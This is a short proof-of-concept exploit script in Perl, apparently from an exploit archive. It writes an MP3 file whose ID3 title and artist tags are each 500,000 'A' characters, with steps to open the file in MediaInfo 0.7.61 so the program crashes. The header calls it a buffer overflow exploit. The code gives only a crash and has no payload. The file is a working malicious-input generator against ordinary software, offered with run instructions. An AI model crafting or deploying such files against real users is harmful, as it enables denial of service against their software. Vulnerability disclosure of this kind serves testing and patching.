MediaInfo 0.7.61 – Crash (PoC)

#!/usr/bin/perl -w

# Title : Windows Media Player MediaInfo v0.7.61 - Buffer Overflow Exploit

# Tested on Windows 7 / Server 2008

# Download Link : https://sourceforge.net/projects/mediainfo/files/binary/mediainfo-gui/0.7.61/

# Author: Mohammad Reza Espargham

# Linkedin: https://ir.linkedin.com/in/rezasp

# E-Mail: reza.espargham@owasp.org

# Website : www.reza.es

# Twitter : https://twitter.com/rezesp

# FaceBook: https://www.facebook.com/reza.espargham

# Github : github.com/rezasp

# 1 . run perl code : perl reza.pl

# 2 . open 1.mp3 by mediainfo.exe

# 3 . Crashed ;)

use MP3::Tag;

$mp3 = MP3::Tag->new('1.mp3');

$mp3->title_set('A' x 500000);

$mp3->artist_set('A' x 500000);

$mp3->update_tags();

$mp3->close();